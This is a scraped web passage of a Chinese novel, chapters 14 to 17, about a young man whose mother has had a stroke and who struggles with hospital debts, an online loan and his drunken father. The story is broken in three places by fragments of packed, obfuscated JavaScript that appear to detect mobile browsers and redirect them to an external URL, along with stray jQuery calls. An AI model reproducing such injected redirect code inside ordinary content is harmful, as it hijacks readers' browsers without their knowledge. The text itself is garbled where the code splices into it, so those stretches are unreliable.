0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119421|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？”他的声音陡然拔高，带着一种受伤的、虚张声势的恼怒，可底气不足，听起来像破锣，“我是她男人！我该……” “该什么？”姚华打断他，声音不高，但很冷，冷得像冬天的铁栏杆，“该出钱？你出得起吗？该出力？你能干什么？签字？跑腿？还是能在这儿守夜？” 姚建国被他问得哑口无言，脸上的血色褪去，变得灰败，像燃尽的煤灰。他攥着那卷钱，手指关节捏得发白。是啊，他能干什么？他一辈子没管过家，没挣过大钱，出了事只会喝酒骂人，骂天骂地骂命，就是没骂过自己。现在老婆躺在里面生死未卜，他走了两个多小时赶来，掏空了口袋也只有这皱巴巴的几百块。他连怎么跟医生说话都不知道，连医院的缴费窗口在哪都找不着。他是个没用的人，姚华没说错。话难听，但是实情。 那点虚张的气势瘪了下去，他重新佝偻起背，把手帕和钱胡乱塞回口袋，动作仓惶，像在藏一件赃物。不再看姚华，也不再看ICU的门，就那么盯着地面，像一尊突然失去所有力气的泥塑，只剩下一个空壳子。 姚华别过脸，看向窗外。天阴着，灰蒙蒙的，又要下雨的样子。雨总是下不完，就像麻烦总是没个尽头。 过了好一会儿，姚建国才又动了动，他站起来，动作迟缓，像生了锈。声音低沉，几乎听不清：“我……我去外头转转。” 他没说去哪儿，也没说还回不回来。姚华也没问。看着他有些踉跄地走向走廊尽头的背影，姚华心里那点堵，慢慢化开，变成一片空茫茫的凉。凉意从脚底升起来，漫到全身。 下午，护士送来一叠单据。缴费通知，药品清单，耗材明细。数字密密麻麻，后面的零看得人心惊肉跳，像一群张着嘴的蝌蚪。预交的一万块，像扔进沙漠的一杯水，瞬间就见了底，连个湿印子都没留下。催款单上盖着红色的“急”字章，红得刺眼，像伤口。 姚华拿着单子下楼，找到住院缴费处。窗口前排着不长的队，每个人脸上都写着愁苦，愁苦也是分门别类的，有的深些，有的浅些，但底色都一样。轮到他的时候，他把父亲给的那卷钱和自己卡里最后的两千多都递了进去。收银员敲打着键盘，眼皮都没抬，仿佛递进来的不是钱，是一叠废纸。“还差得远，家属尽快续费，不然有些药和治疗就要停了。” 这话说得平平淡淡，却像一把钝刀子，慢慢地割在心口上。不一下子见血，就是疼，闷闷地疼。姚华点点头，说不出话。话在钱面前，最没用。 他开始打电话。通讯录翻了一遍又一遍，能开口的人不多。关系近的，知道他家境的，不等他说完就叹气，那叹气声透过电话线传过来，沉甸甸的。有的转来一千两千，数目后面跟着一句“先应应急”。有的说手头紧过两天看看，这“过两天”就像天上的云，不知道飘到哪里去。关系远的，听他吞吞吐吐地说“母亲重病”，客套的安慰之后，便是委婉的推脱，推脱得很有技巧，让你挑不出理。世界忽然变得很现实，情分都标着价码，而他的价码，显然不高。不高，就得受着。 傍晚时分，戴经理又打来电话。这次语气缓和了些，问了问病情，然后说公司有规定，事假超过三天要扣发当月奖金，让他有个心理准备。姚华对着电话说“谢谢经理关心”，声音干巴巴的，像晒干的橘子皮。扣奖金？他现在想的已经不是奖金，而是下个月的房租和母亲的后续治疗费。生活像一张不断收紧的网，网眼越来越小，他这条鱼，扑腾得越来越吃力。 天再次黑透，黑得实实在在。姚建国没有再出现，也没有任何消息。姚华不知道他去了哪里，或许在某个便宜的录像厅蹲一夜，看那些过时的打打杀杀；或许就在医院附近哪个桥洞下蜷着，数着过往的车灯。他们父子之间，从未学会如何在这种时刻相互依偎，连最基本的“在一起”都显得多余而尴尬。有些关系，坏了就是坏了，像摔碎的碗，即使用胶粘起来，裂缝也永远在那里，一碰水就知道。 探视时间又到了。姚华穿上隔离衣，戴上口罩帽子，再次走进ICU。母亲似乎比上午更清醒了些，看见他，左眼（右眼仍然有些呆滞）跟着他转。她身上插着的管子似乎少了一两根，但监护仪屏幕上的曲线和数字依然令人心慌，那些跳跃的线条和闪烁的数字，是母亲生命的另一种语言，他看不懂，只能猜。 姚华握住她的手，轻轻捏了捏。“爸来了，又走了。”他低声说，也不知道为什么要告诉母亲这个。也许只是想找句话说，也许觉得这事母亲该知道。 张玉芬眨了眨眼，眼神里看不出什么情绪，或许早已习惯。习惯了一个人的来来去去，习惯了指望不上，也就谈不上失望。 “钱的事你别操心，有我。”姚华又说，这话说得很虚，像飘在空中的肥皂泡，五彩斑斓，但一戳就破。可他必须说，不说，母亲更慌。 张玉芬的嘴唇嚅动了几下，发出极轻微的气音，像叹息。姚华俯下身，把耳朵凑近。 “……车……书……” 还是惦记这个。到这时候了，魂都飘出去半截了，惦记的还是那车书。姚华鼻子一酸，眼眶热了一下，又被他硬生生憋回去。“明天，明天我就去把车和书推回来，你放心。”他做出承诺，尽管这承诺轻飘飘的。 张玉芬似乎松了口气，眼皮微微耷拉下去，像是累了，也像是完成了什么要紧的交接。 走出ICU，姚华靠在冰冷的墙壁上。墙壁的白，是那种毫无生气的、消毒过的白。明天。他必须去一趟二中门口。母亲的小推车和那两包袱书，还在那里。那是母亲的全部营生，是她起早贪黑的见证，也是她倒下时最割舍不下的东西。他得去收拾回来，像个收拾残局的人。残局也是局，总得有人收拾。 深夜的医院走廊并不安静，偶尔有急促的脚步声，有推床轮子滚过的声音，有压抑的哭泣声。姚华在椅子上蜷缩着，闭着眼，却毫无睡意。脑子里是乱麻一样的数字、单据、母亲的病容、父亲那张灰败的脸和那卷皱巴巴的零钱、还有那辆歪轮子的蓝色小推车。这些东西搅在一起，搅拌机似的，搅得他脑仁疼。 生活这场暴雨，从来不会只下一阵。它把你淋透，让你狼狈不堪，然后冷风吹过，让你彻骨生寒。而你能做的，只是在暴雨间歇，拧一拧湿透的衣裳，辨认一下方向，然后继续深一脚浅一脚地，往前走。不能停，停了，就可能再也走不动了。 天快亮的时候，东边泛起一点鱼肚白。姚华站起身，活动了一下僵硬的四肢，骨头节“咔吧”响了两声，像老旧的木门。他决定现在就去二中门口。趁早晨人少，趁母亲惦记的东西还在那里，趁自己还能动弹——能动弹，就得去动弹。 他走出住院部大楼，清晨的空气冷冽而清新，带着雨后的土腥味，吸一口，肺里凉丝丝的。街上已经有了零星的行人和车辆，世界又开始慢慢苏醒。他打了个寒颤，紧了紧单薄的衬衫，朝着公交站走去。去二中该坐哪路车，他并不知道。但他知道，路总是能问到的。嘴不光用来吃饭，也用来问路。 就像生活，难题总是一个接一个，像地里的韭菜，割一茬长一茬。而走下去的办法，也只能是一个接一个地去找。问路，等车，投币，朝着母亲倒下的那个街角去。去把那些浸透了雨水和尘土的书，一本一本，捡回来。书湿了可以晒，人倒了，还得爬起来。账，总得一笔一笔算，哪怕永远算不完。 15. 第十五章 环湖十五日 环湖医院的ICU，设在外科楼五层。电梯门一开，那股味儿就顶得人一跟头。不单是消毒水，还搅和着药味、若有若无的血腥气，以及一屋子人憋着不吭声捂出来的、沉甸甸的“人味儿”。走廊长得望不见头，墙刷得白晃晃的，白得让人心里没着没落。尽头一扇厚门紧闭，红字写着“重症监护室”，底下跟了四个小字，像是怕你看不清：“家属止步”。 探视有钟点，一天两回，一回半个钟头。进是进不去的，只能看门边墙上嵌着的一个小屏幕。屏幕不大，比老式电视机还小一圈，黑白影像，总滋啦着一层雪花，人影模糊糊的，不像直播，倒像在放一部年深月久、忘了情节的默片。 姚华头一天就找到了那个屏幕。在右下角标着“13”的方格里，他看见了母亲。张玉芬躺在靠窗的床上，头给纱布裹得严严实实，只露出眼睛、鼻子和嘴的轮廓。在黑白画面里，纱布白得扎眼，衬得露出的皮肤木木的，了无生气。她一动不动，像件被暂时存放起来的物件，包裹得很是仔细。 护士推门出来，递给他一沓纸，纸还带着打印机的余温。“家属，签字。” 姚华接过来。病危通知，手术知情，费用告知……一张压着一张。他找笔，笔从汗湿的手里滑出去，掉在地上，笔帽磕出一道缝。 “这儿，名字，日期。”护士的手指干脆地戳在纸面上。 姚华弯腰签。自己的名字写得歪歪扭扭，没半点力气。签完一张，护士抽走，底下又冒出一张。“医保不报的药，效果好点，价儿也高。用不用？” 姚华盯着那几个冰凉的药名，喉咙发干。“用。” 字签完了，手里那沓纸换成了薄薄一张塑料探视证。他攥在手心，硬边硌得掌心生疼。 亲戚们是陆续来的，像听见了风声。二舅最先到，骑电动车，车筐里放着个不锈钢饭盒。他凑到屏幕前，眯着眼找了半天，才指着一处：“这……这是咱姐？”得了准信，他沉默了好一会儿，末了叹了口气：“包得都快认不出了。”饭盒里是熬得稀烂的小米粥，他说：“你妈醒了，好歹能顺点流食。” 三姨来时，提着塑料袋，里面装着苹果。她没看几眼屏幕，眼泪先下来了，拉着姚华的手：“我姐这命啊，苦瓤子……”哭了一阵，从袋底摸出个薄信封，不由分说塞进姚华外套口袋：“先拿着，救急。” 老姨带着刚上大学的儿子来了。年轻人站在ICU门口，手脚不知该往哪儿放，眼神里是对这沉重地界的陌生与局促。老姨问得细，出血多少，手术几成把握，会落下啥毛病。姚华把从医生那儿听来的几个词儿来回倒腾，干巴巴的，自己听着都空。老姨的儿子忽然低声冒出一句：“妈，我以后想学医。”老姨立刻瞪他一眼：“瞎说啥呢！”小伙子便闭了嘴，再不吭声。 日子开始被探视时间切成一段一段的。不探视的时候，姚华就坐在走廊那把冰凉的塑料椅上。他看其他家属，人人脸上都蒙着一层灰白的倦色。有人压着嗓子对电话哽咽：“……再凑凑，真见底了。”有人只是发呆，盯着地砖某一道缝，眼珠半晌不转一下。 医院每天打出一张长长的费用单。姚华找了个皱巴巴的本子，开始往上抄：床位费、监护费、吸氧费、注射费……更多是他根本看不明白的项目，后面跟着的数字，让他抄写的手指总要顿那么一顿。账本一页页翻过去，数字堆起来，像看不见的水，慢慢往上漫。 第五天，二舅又来了，这次端了碗蒸得极嫩的鸡蛋羹。“你妈就得意我做的这口，滑溜。”他说。姚华接过温热的饭盒，二舅看看他，又看看那扇门，声音压得更低：“钱上，要转不开，千万言语一声。骨头连着筋呢。” 姚华点点头，没吱声。言语？言语之后呢？他不敢往下想。 第七天夜里，姚华在椅子上打了个盹，梦见母亲喊他，声儿挺真。他一个激灵醒来，浑身冷汗。屏幕是黑的，走廊那头护士站的灯，白得惨淡。他站起来，腿有点麻，挪到那扇厚门前，侧耳听，只有仪器滴滴答答的声响，均匀地传出来，像是另一颗心在跳。 第八天上午，护士叫住正看单子的姚华：“十三床，醒了。” 脑子里嗡的一声，那些数字、账单、术语，哗啦一下全退远了。他几乎是扑到门边，又被规矩挡在外面。等探视的那俩钟头，长得像一个世纪被拉成了丝。 下午，他套上蓝隔离衣，戴好帽子口罩，头一回走进那个满是仪器低鸣和药水气的世界。母亲真的睁着眼，望着天花板。听见动静，她的眼珠很慢、很吃力地转过来，视线落到姚华脸上，停住。然后，她就开始拼命眨眼睛，一下，又一下。 姚华握住她露在被子外的手，凉，但有了点微弱的活气。“妈。”他叫了一声。 张玉芬的嘴唇哆嗦着，却发不出声音。只有喉咙里含糊的“嗬……嗬……”声。她的右半边脸仍不自然地松垮着，右眼也有些斜，但左眼是清亮的，死死盯住儿子，里面盛满了焦灼，还有更深的东西。 “阿姨现在还说不了话，得慢慢来。”护士在旁边轻声说。 张玉芬的嘴唇又动了，这次姚华看清了她的口型。他俯下身，把耳朵凑过去。 “……多……少……” 气若游丝，就两个字。 姚华愣了一下，明白了。他直起身，看着母亲的眼睛，尽量让声儿稳当：“没多少，妈，有医保呢。” 张玉芬看着他，左眼眨了一下，缓缓闭上。好像只为确认这个顶要紧的问题，就把刚攒起的那点力气，全用光了。 转到普通病房，是第十三天的事。三人间，张玉芬的床靠窗。窗外能望见环湖医院得名的那片水，在午后的日头下，泛着沉沉的、绿油油的光。 真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119422|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正的难处，从这儿才刚开头。身体的难处，也是钱的难处。普通病房一天的费用是降了，可药费、检查费、康复费，一样样叠上去，依旧是沉甸甸的数目。更要紧的是，张玉芬的右半边身子像不是自家的了，胳膊抬不起，腿挪不动。康复师是个年轻姑娘，每天来帮她活动关节，教她重新学怎么使唤肌肉。 “阿姨，咱不急，慢慢来。今儿咱就让这根手指头，动那么一下，成不？”康复师的声儿很柔和。 张玉芬咬着牙，额头上青筋微凸，脸憋得通红。姚华在一旁看着，觉得母亲全部的念想都押在那只毫无知觉的右手上了。好久，那食指极轻微地、痉挛似地抖了一下。就这一下，张玉芬整个人像泄了气的皮球，瘫下去，额头上全是细密的冷汗。 第十五天，姚华去结从ICU转到普通病房的账。窗口里递出来的单子，打满了密麻麻的项目，末尾趴着一个数字。他拿着单子走到大厅角落，就着光，仔细数了数位数。 七万八千六百四十三块二毛七。 他拿着单据和银行卡，重新走回缴费窗口。队伍不长，前头的人也都捏着类似的单子，脸上是差不多的木然。轮到姚华，他把卡递进去。 “输密码。”窗口里的声音透过扩音器传出来，有点变调。 姚华低头，按了六位数。机器吱吱地响，吐出一条长长的凭条。他在商户联上签字，这回手很稳，名字写得工工整整。 回到病房，张玉芬睡着了。午后的阳光斜射进来，照在她花白的头发和深深浅浅的皱纹上，那些皱纹在光里显得格外清晰，像是被什么一遍遍犁过。纱布拆了，剃掉的头发长出青黑的茬子，伤口愈合后，留下暗红色的、弯弯曲曲的疤。 姚华在床边的凳子上坐下，没吵醒她。他看着母亲睡梦中还微微皱着的眉头，看着那只有些僵直地搭在被子外的手。十五天。十五天前，她还在为几毛钱的利和人掰扯，为一车书别淋了雨操心。十五天后，她躺在这儿，半边的天塌了，还背上了对这个家来说如山一般的债。 生活从不提前打招呼。它瞅准了，一拳撂倒你，然后站在边上，看你如何吭哧吭哧地从坑里往外爬，带着一身泥，继续往前挪蹭。 窗外，环湖的水面让风吹起了褶子。更远的地方，城市的轮廓在薄雾里静静地站着。 张玉芬的眼皮动了动，慢慢睁开。她看见了坐在光影里的儿子，左眼的目光渐渐聚拢，然后，那只能动的左边嘴角，极其勉强地、费劲地向上扯动了一下。 那不算个笑，甚至有点歪。 但姚华看见了。他探过身，轻声说：“妈，明天我给你蒸鸡蛋羹，跟二舅讨教过了。” 张玉芬看着他，左眼又眨了一下，很慢，很沉。 这就行了。还能看见，还能听见，还能对明天存着点微末的念想。 这就行了。 16. 第十六章 雪球开始滚 有时候，姚华觉得生活像极了小时候那台破旧任天堂里的《雪山兄弟》。画面粗糙，音乐是单调又带点紧张的电子音。他和同学控制着两个小人，在皑皑雪地里，推动一个个小雪球。雪球起初只有拳头大，骨碌碌地滚着，粘上路上的雪粒，粘上那些蹦蹦跳跳的小怪物，越滚越大，越滚越快，最后变成一个庞然大物，轰隆隆地碾过屏幕，清除一切障碍，带来短暂的畅快和分数。那时候，滚雪球是武器，是力量，是通关的指望。 可现在，当他翻开从母亲张玉芬枕头底下摸出来的那个硬壳账本时，脑子里那熟悉的8-bit音乐，却变成了无声的轰鸣。账本塑料皮磨得四个角发了白，像人老了以后的牙口。他翻开，头一页是二〇〇五年三月。字一笔一画，横竖撇捺，规规矩矩，像个刚上学怕挨手板的孩子。 “三月十五日，进《五年高考》二十本，每本十八元，共三百六十元。（赊账，月底还）” “三月十六日，卖出五本，每本二十五元，收一百二十五元。还批发市场老刘六十元，剩六十五元。” “三月十七日，城管查，罚款五十元。书被收走三本。（求了半天情，没用）” 纸页哗哗地翻过，像游戏里一关一关地跳。中间的颜色深了，黄渍渍的，像腌过的咸菜叶子。日子长了，连数字都透着一股疲惫。 “九月十日，给华子生活费，一千五百元。他说同学都有笔记本电脑。没应。” “九月二十八日，交房租，八百元。房东说下月还要涨……” “十月五日，姚建国来，要五百元。说是应酬。吵了一架，给了三百。记账：姚建国要钱，五百（欠二百）。” 那“要钱”两个字，墨水吃进纸里，力透纸背，最后一笔拖得老长，像一声叹不完的气，也像游戏里雪球碾过后留下的一道沉重轨迹。 翻到最近，纸薄了，字轻了，小心翼翼。 “八日，早四点起，蹬车去南头批发市场，路黑，摔了一跤，膝盖破皮。进《黄冈密卷》三十本，每本二十二元，共六百六十元。（现钱不够，欠一百，说好卖完还）” “八日，午饭：兜里俩馒头，就点自家腌萝卜干。公厕门口喝凉水。共一元五角。（馒头昨天剩的，有点硬）” 最底下，空了一大块，才另起一行，字迹歪斜： “存款：21743.6元（定期两万，活期一千七百四十三块六）” 姚华盯着那数字，看了足足一根烟的功夫。两万一千七百四十三块六毛。这不是游戏里不断累加的、令人兴奋的分数。这是母亲十几年，用那辆除了铃不响哪都响的三轮车，用夏天汗湿出白碱的衣裳，用冬天冻得肿亮的手指头，用一次次被城管撵着跑的惊慌，用饭桌上永恒不变的咸菜疙瘩，一点一点，像在最初空旷的雪地上，用最微小的力气，开始推动的那个雪球。 滚了这么久，滚进去了那么多日夜、汗水、尊严和叹息，最后停在纸上的，就这么个冰凉的、坚硬的雪球芯儿。 而现在，这个雪球，就要被投进一个名叫“医院”的、深不见底的雪道里。 护工是第三天头上来的，姓王，自称王姐，河北沧州口音。人精瘦，眼珠子活，一进门先不是看病人，是拿眼风扫了一圈病房，又上下刮了姚华一遍，像估量一件旧家具的价钱。 “哎哟，这屋朝北，阴冷。”她说着，走到床边，一把掀开被子，手法熟稔得像掀自家锅盖。“可得勤翻身，两小时一回，雷打不动。你看这皮肉，已经开始泛红了，再不勤弄，褥疮说来就来，那可就费大钱了。” 姚华忙凑过去：“是，您多费心。夜里……” “夜里？”王姐打断他，嘴角往下一撇，似笑非笑，“夜里我咋整？我是神仙不睡觉？定闹钟呗。干我们这行，吃的就是熬夜的饭。一天两百块，”她特意顿了顿，瞥一眼姚华身上那件洗得发白的夹克，“现在这钱啊，不经花。我上个东家，一天二百五，还管两顿好饭呢。你这儿，唉，看着也不容易。” 姚华脸上热了一下，没接话茬。二百。他心里那算盘噼里啪啦响：一天二百，十天两千，一个月六千。这还不算那吞金的药。 药是洋名字，绕口。医生说话快，像背书：“进口的，效果好，副作用小。就是贵，一针八百，一天两针，全自费。先用十四天看看。” 姚华脑子里“嗡”一声。他掏出手机，手指有点僵，按：八百乘以二，一千六；再乘以十四……屏幕上的数字跳出来：22400。再加上王姐的工钱、这床位的钱、杂七杂八像雪花一样的单子……他闷头按了半天，最后那个数字跳出来：51287。 雪球还没开始滚，已经比他人都高了。 他逃也似的走到楼梯间，摸出烟。烟是最便宜的那种，烟盒都揉皱了。点着了，狠狠吸一口，那烟辣得像刀子，从喉咙一直划到肺里，呛得他弯下腰，咳得撕心裂肺，眼泪鼻涕一齐下来。咳完了，他看着水泥地上自己抖落的烟灰，想起了手机里那个蓝色的图标。 借呗。额度四万。以前他觉得这数字像个虚幻的泡影，现在成了救命稻草。点开，拍照，刷脸……过程简单得让人心慌。“叮”一声，钱到了。四万块，分成十二期，每期三千六百五十三块七毛五。他看着还款计划表，那一个个数字连起来，像一条冰冷的铁链，要锁住他未来一整年。这就像滚雪球，他想，起初只是指甲盖大一点冰碴，你顺着生活的陡坡往下推，它一路沾裹上房租、药费、父亲的酒钱、经理的脸色……越滚越大，越滚越急，最后轰隆一声，把自己砸在底下，压成一张薄薄的饼。 可他手指头还是戳了下去，点了“确认”。戳得有点重，屏幕都响了一声。 钱到了。加上从二舅、三姨、老姨那儿，陪着笑脸，听着数落，像挤快用完的牙膏皮一样挤出来的八千；再加上母亲那两万一千多，定期还没到期，提前取出来，利息损失了好几百——所有这些零零碎碎，终于暂时填上了那个窟窿的眼。 那天晚上，他坐在电脑前，屏幕的光映着他发青的脸。那封辞职信，写了好几个晚上，文采斐然，畅谈理想，憧憬未来，像个浪漫主义的宣言。他盯着看了半晌，然后移动光标，选中，删除。字是一个一个没的，悄无声息，像雪落在烧红的铁板上，“刺啦”一下，就只剩一缕白气。 第二天，公司的戴经理召见他。 “姚华啊，”戴经理用钢笔帽一下下点着桌面，那声音不大，却敲得人心慌，“最近你这状态，堪忧啊。” “经理，家里母亲病重，实在……” “困难，谁家没点困难？”戴经理抬起手，止住他话头，身子往后一仰，椅背发出不堪重负的呻吟。“公司体谅员工，但也不能无限度体谅。你这个岗位，一个萝卜一个坑，你总不在，坑就荒了。这个季度考评，”他拖长了调子，“你是知道的。” “我尽快调整，工作绝不耽误。” “调整？”戴经理从鼻子里哼出一声，似笑非笑，“我给你三天时间，把家事捋顺。三天后，我要看见你全须全尾、精神饱满地坐在这儿。不然，我也很难向上头交代。你也知道咱们老板是韩国人，那个老金抠得要死，是吧？” “谢谢经理，我一定。” 走出那间空调开得太足的办公室，姚华觉得背上出了一层粘汗，外套贴在身上，冰凉。三天。七十二小时。之后，他就得回来，把自己焊在那个工位上。他需要那份工资，去喂那个叫“借呗”的怪兽，去支付王姐那双麻利的手，去换来那一小瓶比金子还贵的药水。 可夜里怎么办？王姐说得明白：“我只能干白天，晚上我得回去，家里一摊子事呢。”话说得在理，钱只买到她白天的时间。 他脑子里像走马灯，转来转去，最后总停在一张醉醺醺、皱巴巴的脸上。那个他血液里有一半来自、却最想割断联系的人。 姚建国独自窝在中环线外一个叫盐坨村的地方。那地方早被规划图遗忘了，像个时代的阑尾。姚华傍晚蹬着共享单车找去，穿过迷宫一样的窄巷，两边是摞到天上的破烂和嗡嗡飞的苍蝇，空气稠得能捞出酱油来。找到那扇门，门上的春联还是去年的，褪成了惨白。里头电视声炸耳朵，又是《还珠格格》，听动静是该紫薇瞎眼那段，哭哭啼啼。 他敲了门。敲到第三遍，里头才骂骂咧咧有了动静。门拉开一条缝，姚建国探出半张浮肿的脸，眼皮耷拉着，手里攥着个扁瓶的二锅头，还剩小半。 “谁啊……哦，你。”他眯着眼辨认了一下，没开门的意思，“太阳打西边出来了？” “爸，找您有事。” “你能有啥好事找我？”姚建国抿了口酒，咂摸一下，“进来吧，门口站着像讨债的。” 屋里比外头还乱，一股隔夜饭菜混合着劣质酒精的浑浊气味。电视机声音大得吓人。姚华站着没坐，凳子油乎乎的。 “我妈住院了，现在转到普通病房，但晚上离不开人。想请您……去帮忙看几个晚上。” 姚建国眼睛盯着电视屏幕，紫薇正摸着空气喊“尔康”。他含糊地应：“医院？不去。那地方晦气。再说，我能看啥？我又不是大夫。” “不用您干嘛，就守着。看着点滴别打完，喂点水，护士叫铃在那儿。” “我不会弄那些玩意儿，滴里嗒啷的。” “很简单，我教您。” 姚建国不说话了，仰脖子把剩下的酒底倒进嘴里，喉结剧烈地滚动。沉默了有一集电视剧那么长，他才像吃了天大亏似的，从牙缝里挤出两个字：“……行吧。啥时候？” “今晚。” “今晚？！”姚建国声音拔高了，“你当我是骡子，套上就能拉磨？我这儿……我这儿还有事呢！” “就几个晚上，白天我换您。实在找不到人了。”姚华声音干巴巴的。 姚建国瞪着他，又看看空酒瓶，最后重重叹出一口带着浓郁酒糟味的气：“唉！我这辈子，真是欠你们娘俩的！……等着，我穿件衣裳。” 晚上八点多，姚建国磨蹭到了医院。还是那件油光可鉴的旧夹克，袖口脱线，像流苏。手里提着个超市最大号的红色塑料袋，鼓鼓囊囊，哐当乱响。 王姐正在给张玉芬按摩小腿，抬眼一瞅，手上动作没停，嘴皮子动了：“哟，这就是晚上换班的家属？大哥，夜班可不好熬啊。喏，翻身两小时一次，记着点儿。喂水用这个带刻度的杯子，一次不超过二十毫升。尿袋满了这个位置会鼓起来，别硬憋着，叫护士。还有啊，”她眼神往塑料袋上一瞟，似笑非笑，“医院有规定，病房里不能抽烟喝酒。味儿大，别的病人受不了，护士长看见了也得说。” 姚建国“嗯啊”地应着，眼睛东张西望，心神不属。 “爸，王姐说的都记住了？”姚华问。 “记住了记住了，”姚建国摆摆手，有点不耐烦，“不就是坐着嘛，还能比干活累？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119423|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着，自顾自把塑料袋放到床边小柜子底下，发出玻璃瓶碰撞的闷响。 姚华走了，脚步发飘。他得回去，哪怕在床上躺两个小时，也是好的。 夜里两点刚过，手机像着了火似的震动起来。是护士站打来的，一个小姑娘的声音又急又气：“姚先生！您快来医院！您父亲在病房里喝酒，声音很大，同病房家属已经投诉到值班医生那里了！” 姚华脑子“嗡”一声，套上衣服就往外冲。深夜的医院走廊，灯光白得瘆人。老远就听见一个女声在高声理论。走到近前，只见姚建国蹲在消防栓旁边，脸红得像猪肝，脚边滚着那个熟悉的二锅头空瓶。隔壁床那位白天就不太高兴的中年妇女，此刻披着外套，指着姚建国的鼻子，气得浑身发抖： “你们讲不讲道理？！有没有一点公德心？！这是病房！是病人休息的地方！你在这儿酗酒！还……还唱什么‘妹妹你坐船头’！你让我妈怎么休息？她刚做完手术！” 姚建国抬起朦胧的醉眼，舌头打结：“我……我喝点酒，解解乏……长夜漫漫，无心睡眠……” “你睡不着就能吵别人？满屋子都是酒臭味！护士！护士你们管不管？！” 姚华赶紧插进去，挡在两人中间，不住地鞠躬道歉：“对不起对不起，大姐，真对不起，是我没安排好，我爸他……我这就让他走。”他一把拽起姚建国，姚建国身子软绵绵的，差点带倒他。 拉到楼梯间，姚华压着火：“爸！您怎么又这样？！不是答应得好好的吗？！” “冷啊！”姚建国靠着墙，滑坐到地上，声音比他还委屈，“这鬼地方，阴风阵阵，被子薄得跟纱似的！我喝两口暖暖身子，怎么了？我碍着谁了？我又没碰你妈一根手指头！” “这是医院！不能喝酒！影响别人！” “我在卫生间喝的！关着门呢！谁知道那门缝不严实……”姚建国嘟囔着，把头扭向一边。 姚华看着他，看着这个瘫坐在冰凉地上、浑身酒气、满脸“全世界都对不起我”神情的父亲，那股熟悉的、深入骨髓的疲惫再次淹没了他。连愤怒都提不起来了，只剩下麻木。 “……您回去吧。”姚华说，声音空空的。 “那我明晚还来不？”姚建国仰起头，竟然还带着一丝询问。 “明晚……再说吧。” 姚建国扶着墙，晃晃悠悠地走了，脚步声在空旷的楼梯间回荡，慢慢消失。姚华回到病房，对着那位余怒未消的家属，又深深地、几乎弯成九十度地鞠了一躬。帘子后面，传来一声极重的、带着厌弃的“哼”声。 他在母亲床边慢慢坐下。张玉芬不知何时醒了，眼珠缓缓转向他，浑浊的目光里，有什么东西微微闪动。 “妈，没事，睡吧。”姚华握住她枯瘦的手，声音轻得像耳语。 张玉芬极慢地眨了一下眼，又合上了。一滴浑浊的泪，从眼角细细的皱纹里，悄无声息地渗出来。 后半夜，姚华自己来。给母亲翻身，他手忙脚乱，角度不对，差点让母亲栽下床。喂水，手抖得厉害，水从吸管边漏出来，打湿了衣领。尿袋满了，他盯着那个鼓起的袋子，做了半天心理建设，才蹭到护士站。值夜班的小护士正托着腮打盹，被他轻声叫醒，脸上带着被打扰的不快，但还是跟着来了。 手脚麻利地换好袋子，小护士看了看姚华熬得通红的眼和笨拙的样子，语气软了点：“第一次照顾？” “嗯。” “不容易。”小护士顿了顿，看了眼安静躺着的张玉芬，又看了眼姚华，“不过，比有些强。至少真上心。慢慢学吧。” 她走了，脚步声在走廊里渐行渐远。 凌晨四点左右，世界静得像坟墓。姚华累得脱了力，歪在冰冷的塑料椅上，眼皮沉得抬不起来。恍惚间，他梦见自己在一个无边无际的、白茫茫的雪原上，推着一个巨大的雪球。雪球起初只有拳头大，但一路粘走他的时间、精力、尊严、那封被删除的辞职信、戴经理敲桌子的声音、王姐瞥向他旧夹克的眼神、父亲酒瓶的碰撞声、药费单上令人眩晕的数字……雪球越滚越大，大得像座山，轰鸣着，以不可阻挡之势朝他碾压过来。他转身想跑，双脚却深陷雪中，动弹不得。他张嘴想喊，冷冽的雪沫猛地灌满他的口腔…… 他浑身一颤，惊醒过来。 窗外，夜色浓稠如墨，化不开。病房里，只有监护仪器发出规律而冷漠的“嘀——嘀——”声，和他自己粗重未平的喘息。 他看着母亲在昏黄夜灯下凹陷灰暗的脸颊，看着窗外那片吞噬一切的无边黑暗。 雪球已经滚起来了。 它由母亲账本上密密麻麻的数字凝结而成，由借款分期表上冰冷的条目加固，由每一瓶天价药水浇铸，由父亲那永远散不去的酒气缠绕，由上司不耐烦的敲击声催动，由护工那似同情又似评估的目光润滑……它沿着生活的陡坡，轰然加速，越滚越快，越滚越重，裹挟着一切，包括他自己。 他就在这雪球的核心，被紧紧包裹着，身不由己，跟着它一起下坠，滚动。 不能停。他知道，一旦停下，瞬间就会被自身重量压垮，碾碎成粉末，无声无息，就像从未存在过。 他还不想被碾碎。 至少此刻，在这漫漫长夜将尽未尽的时分，他只能咬紧牙关，绷紧全身每一寸肌肉和神经，跟着这越来越庞大、越来越冰冷的雪球。 一起，往下滚。 17. 第十七章 中转站的等待 环湖医院的护士来催床位，手里夹板的边角磨得油亮。她不敲栏杆了，改用手关节叩，铁管闷响两声。她说：“十三床，今天得出。” 